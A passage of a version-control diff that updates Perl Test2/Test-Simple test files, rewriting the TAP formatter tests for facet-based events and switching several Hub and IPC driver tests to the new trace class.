+    tests parent => sub {
+        is_deeply(
+            [
+                $it->assert_tap(
+                    {
+                        assert => {pass => 1, details  => 'bob'},
+                        parent => {hid  => 1, buffered => 1, children => [{assert => {pass => 1, details => 'bob2'}}]},
+                    },
+                    1
+                )
+            ],
+            [
+                [OUT_STD, "ok 1 - bob {\n"],
+                [OUT_STD, "    ok 1 - bob2\n"],
+                [OUT_STD, "}\n"],
+            ],
+            "Parent (buffered)",
+        );
+
+        is_deeply(
+            [
+                $it->assert_tap(
+                    {
+                        assert => {pass => 1, details  => 'bob'},
+                        parent => {hid  => 1, buffered => 0, children => [{assert => {pass => 1, details => 'bob2'}}]},
+                    },
+                    1
+                )
+            ],
+            [[OUT_STD, "ok 1 - bob\n"]],
+            "Parent (un-buffered)",
+        );
+    };
+
+    ok(!$$out, "No std output yet");
+    ok(!$$err, "No err output yet");
 };
 
-tests special_characters => sub {
-    my $ok = Test2::Event::Ok->new(
-        trace => $trace,
-        name  => 'nothing special',
-        pass  => 1,
-    );
+tests debug_tap => sub {
+    my ($it, $out, $err) = grabber();
 
     is_deeply(
-        [$fmt->event_tap($ok, 1)],
-        [[OUT_STD, "ok 1 - nothing special\n"]],
-        "Got regular ok"
+        [
+            $it->debug_tap(
+                {
+                    assert => {pass  => 0},
+                    trace  => {frame => ['foo', 'foo.t', 42]},
+                },
+                1
+            )
+        ],
+        [
+            [OUT_ERR, "# Failed test at foo.t line 42.\n"],
+        ],
+        "debug tap, nameless test"
     );
 
-    $ok = Test2::Event::Ok->new(
-        trace => $trace,
-        name  => 'just a \\ slash',
-        pass  => 1,
+    is_deeply(
+        [
+            $it->debug_tap(
+                {
+                    assert => {details => 'foo bar', pass => 0},
+                    trace => {frame => ['foo', 'foo.t', 42]},
+                },
+                1
+            )
+        ],
+        [
+            [OUT_ERR, "# Failed test 'foo bar'\n# at foo.t line 42.\n"],
+        ],
+        "Debug tap, named test"
     );
 
     is_deeply(
-        [$fmt->event_tap($ok, 1)],
-        [[OUT_STD, "ok 1 - just a \\ slash\n"]],
-        "Do not escape slashes without a '#'"
+        [
+            $it->debug_tap(
+                {
+                    assert => {details => 'foo bar', pass => 0},
+                    trace => {frame => ['foo', 'foo.t', 42], details => 'I say hi!'},
+                },
+                1
+            )
+        ],
+        [
+            [OUT_ERR, "# Failed test 'foo bar'\n# I say hi!\n"],
+        ],
+        "Debug tap with details"
     );
 
-    $ok = Test2::Event::Ok->new(
-        trace => $trace,
-        name  => 'a \\ slash and a # hash',
-        pass  => 1,
-    );
-
     is_deeply(
-        [$fmt->event_tap($ok, 1)],
-        [[OUT_STD, "ok 1 - a \\\\ slash and a \\# hash\n"]],
-        "Escape # and any slashes already present"
+        [
+            $it->debug_tap(
+                {
+                    assert => {details => 'foo bar', pass => 0},
+                },
+                1
+            )
+        ],
+        [
+            [OUT_ERR, "# Failed test 'foo bar'\n# [No trace info available]\n"],
+        ],
+        "Debug tap no trace"
     );
 
-    $ok = Test2::Event::Ok->new(
-        trace => $trace,
-        name  => "a \\ slash and a # hash\nand \\ some # newlines\nlike this # \\",
-        pass  => 1,
-    );
-
     is_deeply(
-        [$fmt->event_tap($ok, 1)],
         [
-            [OUT_STD, "ok 1 - a \\\\ slash and a \\# hash\n"],
-            [OUT_STD, "#      and \\ some # newlines\n"],
-            [OUT_STD, "#      like this # \\\n"],
+            $it->debug_tap(
+                {
+                    assert => {details => 'foo bar', pass => 0},
+                    trace => {frame => ['foo', 'foo.t', 42]},
+                    amnesty => [],
+                },
+                1
+            )
         ],
-        "Escape # and any slashes already present, and split newlines, do not escape the newlines"
+        [
+            [OUT_ERR, "# Failed test 'foo bar'\n# at foo.t line 42.\n"],
+        ],
+        "Debug empty amnesty"
     );
 
-    $ok = Test2::Event::Ok->new(
-        trace => $trace,
-        name  => "Nothing special until the end \\\nfoo \\ bar",
-        pass  => 1,
-    );
-
     is_deeply(
-        [$fmt->event_tap($ok, 1)],
         [
-            [OUT_STD, "ok 1 - Nothing special until the end \\\\\n"],
-            [OUT_STD, "#      foo \\ bar\n"],
+            $it->debug_tap(
+                {
+                    assert => {details => 'foo bar', pass => 0},
+                    trace => {frame => ['foo', 'foo.t', 42]},
+                    amnesty => [{tag => 'TODO', details => 'xxx'}],
+                },
+                1
+            )
         ],
-        "Special case, escape things if last character of the first line is a \\"
+        [
+            [OUT_STD, "# Failed test (with amnesty) 'foo bar'\n# at foo.t line 42.\n"],
+        ],
+        "Debug empty amnesty"
     );
 
-};
 
-for my $pass (1, 0) {
-    local $ENV{HARNESS_IS_VERBOSE} = 1;
-    tests name_and_number => sub {
-        my $ok = Test2::Event::Ok->new(trace => $trace, pass => $pass, name => 'foo');
-        my @tap = $fmt->event_tap($ok, 7);
-        is_deeply(
-            \@tap,
-            [
-                [OUT_STD, ($pass ? 'ok' : 'not ok') . " 7 - foo\n"],
-            ],
-            "Got expected output"
-        );
-    };
+    ok(!$$out, "No std output yet");
+    ok(!$$err, "No err output yet");
 
-    tests no_number => sub {
-        my $ok = Test2::Event::Ok->new(trace => $trace, pass => $pass, name => 'foo');
-        my @tap = $fmt->event_tap($ok, );
-        is_deeply(
-            \@tap,
-            [
-                [OUT_STD, ($pass ? 'ok' : 'not ok') . " - foo\n"],
-            ],
-            "Got expected output"
-        );
-    };
+    my $event = Test2::Event::Fail->new(trace => {frame => ['foo', 'foo.pl', 42]});
 
-    tests no_name => sub {
-        my $ok = Test2::Event::Ok->new(trace => $trace, pass => $pass);
-        my @tap = $fmt->event_tap($ok, 7);
-        is_deeply(
-            \@tap,
-            [
-                [OUT_STD, ($pass ? 'ok' : 'not ok') . " 7\n"],
-            ],
-            "Got expected output"
-        );
-    };
+    {
+        local $ENV{HARNESS_ACTIVE} = 0;
+        local $ENV{HARNESS_IS_VERBOSE} = 0;
 
-    tests todo => sub {
-        my $ok = Test2::Event::Ok->new(trace => $trace, pass => $pass);
-        $ok->set_todo('b');
-        my @tap = $fmt->event_tap($ok, 7);
-        is_deeply(
-            \@tap,
-            [
-                [OUT_STD, ($pass ? 'ok' : 'not ok') . " 7 # TODO b\n"],
-            ],
-            "Got expected output"
-        );
+        $event->{name} = 'no harness';
+        $it->write($event, 1);
 
-        $ok->set_todo("");
+        $ENV{HARNESS_ACTIVE} = 0;
+        $ENV{HARNESS_IS_VERBOSE} = 1;
 
-        @tap = $fmt->event_tap($ok, 7);
-        is_deeply(
-            \@tap,
-            [
-                [OUT_STD, ($pass ? 'ok' : 'not ok') . " 7 # TODO\n"],
-            ],
-            "Got expected output"
-        );
-    };
+        $event->{name} = 'no harness, but strangely verbose';
+        $it->write($event, 1);
+
+        $ENV{HARNESS_ACTIVE} = 1;
+        $ENV{HARNESS_IS_VERBOSE} = 0;
+
+        $event->{name} = 'harness, but not verbose';
+        $it->write($event, 1);
+
+        $ENV{HARNESS_ACTIVE} = 1;
+        $ENV{HARNESS_IS_VERBOSE} = 1;
+
+        $event->{name} = 'harness that is verbose';
+        $it->write($event, 1);
+    }
+
+    is($$out, <<"    EOT", "Got 4 failures to STDERR");
+not ok 1 - no harness
+not ok 1 - no harness, but strangely verbose
+not ok 1 - harness, but not verbose
+not ok 1 - harness that is verbose
+    EOT
+
+    is($$err, <<"    EOT", "Got expected diag to STDERR, newline for non-verbose harness");
+# Failed test 'no harness'
+# at foo.pl line 42.
+# Failed test 'no harness, but strangely verbose'
+# at foo.pl line 42.
+
+# Failed test 'harness, but not verbose'
+# at foo.pl line 42.
+# Failed test 'harness that is verbose'
+# at foo.pl line 42.
+    EOT
 };
 
-tests plan => sub {
-    my $plan = Test2::Event::Plan->new(
-        trace => $trace,
-        max => 100,
+tests halt_tap => sub {
+    my ($it, $out, $err) = grabber();
+
+    is_deeply(
+        [$it->halt_tap({trace => {nested => 1},})],
+        [],
+        "No output when nested"
     );
 
     is_deeply(
-        [$fmt->event_tap($plan, 1)],
-        [[OUT_STD, "1..100\n"]],
-        "Got tap"
+        [$it->halt_tap({trace => {nested => 1, buffered => 1}})],
+        [[OUT_STD, "Bail out!\n" ]],
+        "Got tap for nested buffered bail"
     );
 
-    $plan->set_max(0);
-    $plan->set_directive('SKIP');
-    $plan->set_reason('foo');
     is_deeply(
-        [$fmt->event_tap($plan, 1)],
-        [[OUT_STD, "1..0 # SKIP foo\n"]],
-        "Got tap for skip_all"
+        [$it->halt_tap({control => {details => ''}})],
+        [[OUT_STD, "Bail out!\n"]],
+        "Empty details"
     );
 
-    $plan = Test2::Event::Plan->new(
-        trace => $trace,
-        max => 0,
-        directive => 'skip_all',
+    is_deeply(
+        [$it->halt_tap({control => {details => undef}})],
+        [[OUT_STD, "Bail out!\n"]],
+        "undef details"
     );
+
     is_deeply(
-        [$fmt->event_tap($plan)],
-        [[OUT_STD, "1..0 # SKIP\n"]],
-        "SKIP without reason"
+        [$it->halt_tap({control => {details => 0}})],
+        [[OUT_STD, "Bail out!  0\n"]],
+        "falsy details"
     );
 
-    $plan = Test2::Event::Plan->new(
-        trace => $trace,
-        max => 0,
-        directive => 'no_plan',
+    is_deeply(
+        [$it->halt_tap({control => {details => 'foo bar baz'}})],
+        [[OUT_STD, "Bail out!  foo bar baz\n"]],
+        "full details"
     );
+
+    ok(!$$out, "No std output yet");
+    ok(!$$err, "No err output yet");
+};
+
+tests summary_tap => sub {
+    my ($it, $out, $err) = grabber();
+
     is_deeply(
-        [$fmt->event_tap($plan)],
+        [$it->summary_tap({about => { no_display => 1, details => "Should not see me"}})],
         [],
-        "NO PLAN"
+        "no display"
     );
 
-    $plan = Test2::Event::Plan->new(
-        trace => $trace,
-        max => 0,
-        directive => 'skip_all',
-        reason => "Foo\nBar\nBaz",
+    is_deeply(
+        [$it->summary_tap({about => { no_display => 0, details => ""}})],
+        [],
+        "no summary"
     );
+
     is_deeply(
-        [$fmt->event_tap($plan)],
+        [$it->summary_tap({about => { no_display => 0, details => "foo bar"}})],
+        [[OUT_STD, "# foo bar\n"]],
+        "summary"
+    );
+
+    ok(!$$out, "No std output yet");
+    ok(!$$err, "No err output yet");
+};
+
+tests info_tap => sub {
+    my ($it, $out, $err) = grabber();
+
+    is_deeply(
         [
-            [OUT_STD, "1..0 # SKIP Foo\n# Bar\n# Baz\n"],
+            $it->info_tap(
+                {
+                    info => [
+                        {debug => 0, details => "foo"},
+                        {debug => 1, details => "foo"},
+                        {debug => 0, details => "foo\nbar\nbaz"},
+                        {debug => 1, details => "foo\nbar\nbaz"},
+                    ]
+                }
+            )
         ],
-        "Multi-line reason for skip"
+        [
+            [OUT_STD, "# foo\n"],
+            [OUT_ERR, "# foo\n"],
+            [OUT_STD, "# foo\n# bar\n# baz\n"],
+            [OUT_ERR, "# foo\n# bar\n# baz\n"],
+        ],
+        "Got all infos"
     );
+
+    my @TAP = $it->info_tap(
+        {
+            info => [
+                {debug => 0, details => {structure => 'yes'}},
+                {debug => 1, details => {structure => 'yes'}},
+            ]
+        }
+    );
+
+    is($TAP[0]->[0], OUT_STD, "First went to STDOUT");
+    is($TAP[1]->[0], OUT_ERR, "Second went to STDOUT");
+
+    like($TAP[0]->[1], qr/structure.*=>.*yes/, "We see the structure in some form");
+    like($TAP[1]->[1], qr/structure.*=>.*yes/, "We see the structure in some form");
+
+    ok(!$$out, "No std output yet");
+    ok(!$$err, "No err output yet");
 };
 
-tests subtest => sub {
-    my $st = 'Test2::Event::Subtest';
+tests error_tap => sub {
+    my ($it, $out, $err) = grabber();
 
-    my $one = $st->new(
-        trace      => $trace,
-        pass       => 1,
-        buffered   => 1,
-        name       => 'foo',
-        subtest_id => '1-1-1',
-    );
+    # Data::Dumper behavior can change from version to version, specifically
+    # the Data::Dumper in 5.8.9 produces different whitespace from other
+    # versions.
+    require Data::Dumper;
+    my $dumper = Data::Dumper->new([{structure => 'yes'}])->Indent(2)->Terse(1)->Pad('# ')->Useqq(1)->Sortkeys(1);
+    chomp(my $struct = $dumper->Dump);
 
     is_deeply(
-        [$fmt->event_tap($one, 5)],
         [
-            [OUT_STD, "ok 5 - foo {\n"],
-            [OUT_STD, "}\n"],
+            $it->error_tap(
+                {
+                    errors => [
+                        {details => "foo"},
+                        {details => "foo\nbar\nbaz"},
+                        {details => {structure => 'yes'}},
+                    ]
+                }
+            )
         ],
-        "Got Buffered TAP output"
+        [
+            [OUT_ERR, "# foo\n"],
+            [OUT_ERR, "# foo\n# bar\n# baz\n"],
+            [OUT_ERR, "$struct\n"],
+        ],
+        "Got all errors"
     );
 
-    $one->set_buffered(0);
+    ok(!$$out, "No std output yet");
+    ok(!$$err, "No err output yet");
+};
+
+
+tests event_tap => sub {
+    my ($it, $out, $err) = grabber();
+
     is_deeply(
-        [$fmt->event_tap($one, 5)],
+        [$it->event_tap({plan => {count => 5}, assert => {pass => 1}}, 1)],
         [
-            [OUT_STD, "ok 5 - foo\n"],
+            [OUT_STD, "1..5\n"],
+            [OUT_STD, "ok 1\n"],
         ],
-        "Got Unbuffered TAP output"
+        "Plan then assertion for first assertion"
     );
 
-    $one = $st->new(
-        trace     => $trace,
-        pass      => 0,
-        buffered  => 1,
-        name      => 'bar',
-        subtest_id => '1-1-1',
-        subevents => [
-            Test2::Event::Ok->new(trace => $trace, name => 'first',  pass => 1),
-            Test2::Event::Ok->new(trace => $trace, name => 'second', pass => 0),
-            Test2::Event::Ok->new(trace => $trace, name => 'third',  pass => 1),
+    $it->{made_assertion} = 1;
 
-            Test2::Event::Diag->new(trace => $trace, message => 'blah blah'),
+    is_deeply(
+        [$it->event_tap({plan => {count => 5}, assert => {pass => 1}}, 2)],
+        [
+            [OUT_STD, "ok 2\n"],
+            [OUT_STD, "1..5\n"],
+        ],
+        "Assertion then plan for additional assertions"
+    );
 
-            Test2::Event::Plan->new(trace => $trace, max => 3),
+    $it->{made_assertion} = 0;
+    is_deeply(
+        [
+            $it->event_tap(
+                {
+                    plan   => {count    => 5},
+                    assert => {pass     => 0},
+                    errors => [{details => "foo"}],
+                    info   => [
+                        {tag => 'DIAG', debug => 1, details => 'xxx'},
+                        {tag => 'NOTE', debug => 0, details => 'yyy'},
+                    ],
+                    control => {halt    => 1, details => 'blah'},
+                    about   => {details => 'xyz'},
+                },
+                1
+            )
         ],
+        [
+            [OUT_STD, "1..5\n"],
+            [OUT_STD, "not ok 1\n"],
+            [OUT_ERR, "# Failed test [No trace info available]\n"],
+            [OUT_ERR, "# foo\n"],
+            [OUT_ERR, "# xxx\n"],
+            [OUT_STD, "# yyy\n"],
+            [OUT_STD, "Bail out!  blah\n"],
+        ],
+        "All facets displayed"
     );
 
-    {
-        local $ENV{HARNESS_IS_VERBOSE};
-        is_deeply(
-            [$fmt->event_tap($one, 5)],
-            [
-                [OUT_STD, "not ok 5 - bar {\n"],
-                [OUT_STD, "    ok 1 - first\n"],
-                [OUT_STD, "    not ok 2 - second\n"],
-                [OUT_STD, "    ok 3 - third\n"],
-                [OUT_ERR, "    # blah blah\n"],
-                [OUT_STD, "    1..3\n"],
-                [OUT_STD, "}\n"],
-            ],
-            "Got Buffered TAP output (non-verbose)"
-        );
-    }
+    is_deeply(
+        [
+            $it->event_tap(
+                {
+                    plan  => {count   => 5},
+                    about => {details => 'xyz'},
+                },
+                1
+            )
+        ],
+        [[OUT_STD, "1..5\n"]],
+        "Plan blocks details"
+    );
 
-    {
-        local $ENV{HARNESS_IS_VERBOSE} = 1;
-        is_deeply(
-            [$fmt->event_tap($one, 5)],
-            [
-                [OUT_STD, "not ok 5 - bar {\n"],
-                [OUT_STD, "    ok 1 - first\n"],
-                [OUT_STD, "    not ok 2 - second\n"],
-                [OUT_STD, "    ok 3 - third\n"],
-                [OUT_ERR, "    # blah blah\n"],
-                [OUT_STD, "    1..3\n"],
-                [OUT_STD, "}\n"],
-            ],
-            "Got Buffered TAP output (verbose)"
-        );
-    }
-
-    {
-        local $ENV{HARNESS_IS_VERBOSE};
-        $one->set_buffered(0);
-        is_deeply(
-            [$fmt->event_tap($one, 5)],
-            [
-                # In unbuffered TAP the subevents are rendered outside of this.
-                [OUT_STD, "not ok 5 - bar\n"],
-            ],
-            "Got Unbuffered TAP output (non-verbose)"
-        );
-    }
-
-    {
-        local $ENV{HARNESS_IS_VERBOSE} = 1;
-        $one->set_buffered(0);
-        is_deeply(
-            [$fmt->event_tap($one, 5)],
-            [
-                # In unbuffered TAP the subevents are rendered outside of this.
-                [OUT_STD, "not ok 5 - bar\n"],
-            ],
-            "Got Unbuffered TAP output (verbose)"
-        );
-    }
-};
-
-tests skip => sub {
-    my $skip = Test2::Event::Skip->new(trace => $trace, pass => 1, name => 'foo', reason => 'xxx');
-    my @tap = $fmt->event_tap($skip, 7);
     is_deeply(
-        \@tap,
         [
-            [OUT_STD, "ok 7 - foo # skip xxx\n"],
+            $it->event_tap(
+                {
+                    assert => {pass    => 0, no_debug => 1},
+                    about  => {details => 'xyz'},
+                },
+                1
+            )
         ],
-        "Passing Skip"
+        [[OUT_STD, "not ok 1\n"]],
+        "Assert blocks details"
     );
 
-    $skip->set_pass(0);
-    @tap = $fmt->event_tap($skip, 7);
     is_deeply(
-        \@tap,
         [
-            [OUT_STD, "not ok 7 - foo # skip xxx\n"],
+            $it->event_tap(
+                {
+                    errors => [{details => "foo"}],
+                    about  => {details  => 'xyz'},
+                },
+                1
+            )
         ],
-        "Failling Skip"
+        [[OUT_ERR, "# foo\n"]],
+        "Error blocks details"
     );
 
-    $skip->set_todo("xxx");
-    @tap = $fmt->event_tap($skip, 7);
     is_deeply(
-        \@tap,
         [
-            [OUT_STD, "not ok 7 - foo # TODO & SKIP xxx\n"],
+            $it->event_tap(
+                {
+                    info => [
+                        {tag => 'DIAG', debug => 1, details => 'xxx'},
+                        {tag => 'NOTE', debug => 0, details => 'yyy'},
+                    ],
+                    about => {details => 'xyz'},
+                },
+                1
+            )
         ],
-        "Todo Skip"
+        [
+            [OUT_ERR, "# xxx\n"],
+            [OUT_STD, "# yyy\n"],
+        ],
+        "Info blocks details"
     );
-};
 
-tests version => sub {
-    require Test2::Event::TAP::Version;
-    my $ver = Test2::Event::TAP::Version->new(
-        trace => $trace,
-        version => '2',
+    is_deeply(
+        [
+            $it->event_tap(
+                {
+                    control => {halt    => 1, details => 'blah'},
+                    about   => {details => 'xyz'},
+                },
+                1
+            )
+        ],
+        [[OUT_STD, "Bail out!  blah\n"]],
+        "Halt blocks details"
     );
 
     is_deeply(
-        [$fmt->event_tap($ver, 1)],
-        [[OUT_STD, "TAP version 2\n"]],
-        "Got tap"
+        [$it->event_tap({about => {details => 'xyz'}}, 1)],
+        [[OUT_STD, "# xyz\n"]],
+        "Fallback to summary"
     );
+
+    ok(!$$out, "No std output yet");
+    ok(!$$err, "No err output yet");
 };
 
+tests write => sub {
+    my ($it, $out, $err) = grabber();
 
+    local $ENV{HARNESS_ACTIVE}     = 0;
+    local $ENV{HARNESS_IS_VERBOSE} = 0;
+
+    {
+        local $\ = 'oops1';
+        local $, = 'oops2';
+        $it->write(
+            undef, 1,
+            {
+                plan   => {count    => 5},
+                assert => {pass     => 0},
+                errors => [{details => "foo"}],
+                info   => [
+                    {tag => 'DIAG', debug => 1, details => 'xxx'},
+                    {tag => 'NOTE', debug => 0, details => 'yyy'},
+                ],
+                control => {halt    => 1, details => 'blah'},
+                about   => {details => 'xyz'},
+            },
+        );
+
+        $it->write(undef, 2, {assert => {pass => 1}, trace => {nested => 1}});
+    }
+
+    is($it->{_last_fh}, $it->handles->[OUT_STD], "Set last handle");
+
+    is($$out, <<"    EOT", "STDOUT is as expected");
+1..5
+not ok 1
+# yyy
+Bail out!  blah
+    ok 2
+    EOT
+
+    is($$err, <<"    EOT", "STDERR is as expected");
+# Failed test [No trace info available]
+# foo
+# xxx
+    EOT
+};
+
 done_testing;

Modified: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Hub/Subtest.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Hub/Subtest.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Hub/Subtest.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -53,13 +53,12 @@
     my $ok = Test2::Event::Ok->new(
         pass => 1,
         name => 'blah',
-        trace => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__, 'xxx']),
+        trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__, 'xxx']),
     );
 
     def is => ($one->process($ok), 'P!', "processed");
     def is => ($ran, 1, "ran the mocked process");
     def is => ($event, $ok, "got our event");
-    def is => ($event->nested, 3, "nested was set");
     def is => ($one->bailed_out, undef, "did not bail");
 
     $ran = 0;
@@ -67,20 +66,18 @@
 
     my $bail = Test2::Event::Bail->new(
         message => 'blah',
-        trace => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__, 'xxx']),
+        trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__, 'xxx']),
     );
 
     def is => ($one->process($bail), 'P!', "processed");
     def is => ($ran, 1, "ran the mocked process");
     def is => ($event, $bail, "got our event");
-    def is => ($event->nested, 3, "nested was set");
-    def is => ($one->bailed_out, $event, "bailed");
 }
 
 do_def;
 
 my $skip = Test2::Event::Plan->new(
-    trace => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__], pid => $$, tid => get_tid),
+    trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__], pid => $$, tid => get_tid),
     directive => 'SKIP',
     reason => 'foo',
 );

Modified: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Hub.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Hub.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Hub.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -33,7 +33,7 @@
 
     my $send_event = sub {
         my ($msg) = @_;
-        my $e = My::Event->new(msg => $msg, trace => 'fake');
+        my $e = My::Event->new(msg => $msg, trace => Test2::EventFacet::Trace->new(frame => ['fake', 'fake.t', 1]));
         $hub->send($e);
     };
 
@@ -55,7 +55,7 @@
     my $hub = Test2::Hub->new;
     $hub->set_count(1);
 
-    my $trace = Test2::Util::Trace->new(
+    my $trace = Test2::EventFacet::Trace->new(
         frame => [__PACKAGE__, __FILE__, __LINE__],
     );
 
@@ -102,7 +102,7 @@
 
     my $build_event = sub {
         my ($msg) = @_;
-        return My::Event->new(msg => $msg, trace => 'fake');
+        return My::Event->new(msg => $msg, trace => Test2::EventFacet::Trace->new(frame => ['fake', 'fake.t', 1]));
     };
 
     my $e1 = $build_event->('foo');
@@ -121,11 +121,8 @@
         my $old = $hub->format(My::Formatter->new);
 
         ok($old->isa('My::Formatter'), "old formatter");
-        is_deeply(
-            $old,
-            [$e1, $e2, $e3],
-            "Formatter got all events ($name)"
-        );
+        is(@$old, 3, "Formatter got all events ($name)");
+        ok($_->{hubs}, "Set the hubs") for @$old;
     };
 
     if (CAN_REALLY_FORK) {
@@ -175,7 +172,7 @@
     my $ok1 = Test2::Event::Ok->new(
         pass => 1,
         name => 'foo',
-        trace => Test2::Util::Trace->new(
+        trace => Test2::EventFacet::Trace->new(
             frame => [ __PACKAGE__, __FILE__, __LINE__ ],
         ),
     );
@@ -183,7 +180,7 @@
     my $ok2 = Test2::Event::Ok->new(
         pass => 0,
         name => 'bar',
-        trace => Test2::Util::Trace->new(
+        trace => Test2::EventFacet::Trace->new(
             frame => [ __PACKAGE__, __FILE__, __LINE__ ],
         ),
     );
@@ -191,7 +188,7 @@
     my $ok3 = Test2::Event::Ok->new(
         pass => 1,
         name => 'baz',
-        trace => Test2::Util::Trace->new(
+        trace => Test2::EventFacet::Trace->new(
             frame => [ __PACKAGE__, __FILE__, __LINE__ ],
         ),
     );
@@ -272,7 +269,7 @@
     my $ok1 = Test2::Event::Ok->new(
         pass => 1,
         name => 'foo',
-        trace => Test2::Util::Trace->new(
+        trace => Test2::EventFacet::Trace->new(
             frame => [ __PACKAGE__, __FILE__, __LINE__ ],
         ),
     );
@@ -280,7 +277,7 @@
     my $ok2 = Test2::Event::Ok->new(
         pass => 0,
         name => 'bar',
-        trace => Test2::Util::Trace->new(
+        trace => Test2::EventFacet::Trace->new(
             frame => [ __PACKAGE__, __FILE__, __LINE__ ],
         ),
     );
@@ -288,7 +285,7 @@
     my $ok3 = Test2::Event::Ok->new(
         pass => 1,
         name => 'baz',
-        trace => Test2::Util::Trace->new(
+        trace => Test2::EventFacet::Trace->new(
             frame => [ __PACKAGE__, __FILE__, __LINE__ ],
         ),
     );
@@ -342,7 +339,7 @@
     my $ok1 = Test2::Event::Ok->new(
         pass => 1,
         name => 'foo',
-        trace => Test2::Util::Trace->new(
+        trace => Test2::EventFacet::Trace->new(
             frame => [ __PACKAGE__, __FILE__, __LINE__ ],
         ),
     );
@@ -350,7 +347,7 @@
     my $ok2 = Test2::Event::Ok->new(
         pass => 0,
         name => 'bar',
-        trace => Test2::Util::Trace->new(
+        trace => Test2::EventFacet::Trace->new(
             frame => [ __PACKAGE__, __FILE__, __LINE__ ],
         ),
     );
@@ -358,7 +355,7 @@
     my $ok3 = Test2::Event::Ok->new(
         pass => 1,
         name => 'baz',
-        trace => Test2::Util::Trace->new(
+        trace => Test2::EventFacet::Trace->new(
             frame => [ __PACKAGE__, __FILE__, __LINE__ ],
         ),
     );
@@ -449,7 +446,7 @@
     ok(!eval { $hub->plan(5); 1 }, "Cannot change plan");
     like($@, qr/You cannot change the plan/, "Got error");
 
-    my $trace = Test2::Util::Trace->new(frame => ['Foo::Bar', 'foo.t', 42, 'blah']);
+    my $trace = Test2::EventFacet::Trace->new(frame => ['Foo::Bar', 'foo.t', 42, 'blah']);
     $hub->finalize($trace);
     my $ok = eval { $hub->finalize($trace) };
     my $err = $@;

Modified: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/IPC/Driver/Files.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/IPC/Driver/Files.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/IPC/Driver/Files.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -6,6 +6,11 @@
 use strict;
 use warnings;
 
+if ($] lt "5.008") {
+    print "1..0 # SKIP Test cannot run on perls below 5.8.0\n";
+    exit 0;
+}
+
 sub simple_capture(&) {
     my $code = shift;
 
@@ -125,10 +130,12 @@
 }
 
 {
-    no warnings 'once';
+    no warnings qw/once redefine/;
+    local *Test2::IPC::Driver::Files::driver_abort = sub {};
     local *Test2::IPC::Driver::Files::abort = sub {
         my $self = shift;
         local $self->{no_fatal} = 1;
+        local $self->{no_bail} = 1;
         $self->Test2::IPC::Driver::abort(@_);
         die 255;
     };
@@ -170,8 +177,6 @@
     };
     $cleanup->();
 
-    is($out->{STDOUT}, "not ok - IPC Fatal Error\nnot ok - IPC Fatal Error\n", "printed ");
-
     like($out->{STDERR}, qr/IPC Temp Dir: \Q$tmpdir\E/m, "Got temp dir path");
     like($out->{STDERR}, qr/^# Not removing temp dir: \Q$tmpdir\E$/m, "Notice about not closing tempdir");
 
@@ -181,7 +186,7 @@
     $out = simple_capture {
         my $ipc = Test2::IPC::Driver::Files->new();
         $ipc->add_hub($hid);
-        my $trace = Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__, 'foo']);
+        my $trace = Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__, 'foo']);
         my $e = eval { $ipc->send($hid, bless({glob => \*ok, trace => $trace}, 'Foo')); 1 };
         print STDERR $@ unless $e || $@ =~ m/^255/;
         $ipc->drop_hub($hid);
@@ -360,6 +365,7 @@
             pid      => "123",
             tid      => "456",
             eid      => "789",
+            file     => join ipc_separator, qw'GLOBAL 123 456 789 Event Type Foo',
         },
         "Parsed global complete"
     );
@@ -375,6 +381,7 @@
             pid      => "123",
             tid      => "456",
             eid      => "789",
+            file     => join ipc_separator, qw'GLOBAL 123 456 789 Event Type Foo',
         },
         "Parsed global ready"
     );
@@ -390,6 +397,7 @@
             pid      => "123",
             tid      => "456",
             eid      => "789",
+            file     => join ipc_separator, qw'GLOBAL 123 456 789 Event Type Foo',
         },
         "Parsed global not ready"
     );
@@ -405,6 +413,7 @@
             pid      => "123",
             tid      => "456",
             eid      => "789",
+            file     => join ipc_separator, qw'1 1 1 123 456 789 Event Type Foo',
         },
         "Parsed event complete"
     );
@@ -420,6 +429,7 @@
             pid      => "123",
             tid      => "456",
             eid      => "789",
+            file     => join ipc_separator, qw'1 2 3 123 456 789 Event Type Foo',
         },
         "Parsed event ready"
     );
@@ -435,6 +445,7 @@
             pid      => "123",
             tid      => "456",
             eid      => "789",
+            file     => join ipc_separator, qw'3 2 11 123 456 789 Event',
         },
         "Parsed event not ready"
     );

Modified: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/IPC/Driver.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/IPC/Driver.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/IPC/Driver.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -25,6 +25,8 @@
     );
 }
 
+SKIP: {
+    last SKIP if $] lt "5.008";
 tests abort => sub {
     my $one = Test2::IPC::Driver->new(no_fatal => 1);
     my ($err, $out) = ("", "");
@@ -38,7 +40,7 @@
     }
 
     is($err, "IPC Fatal Error: foo\n", "Got error");
-    is($out, "not ok - IPC Fatal Error\n", "got 'not ok' on stdout");
+    is($out, "Bail out! IPC Fatal Error: foo\n", "got 'bail-out' on stdout");
 
     ($err, $out) = ("", "");
 
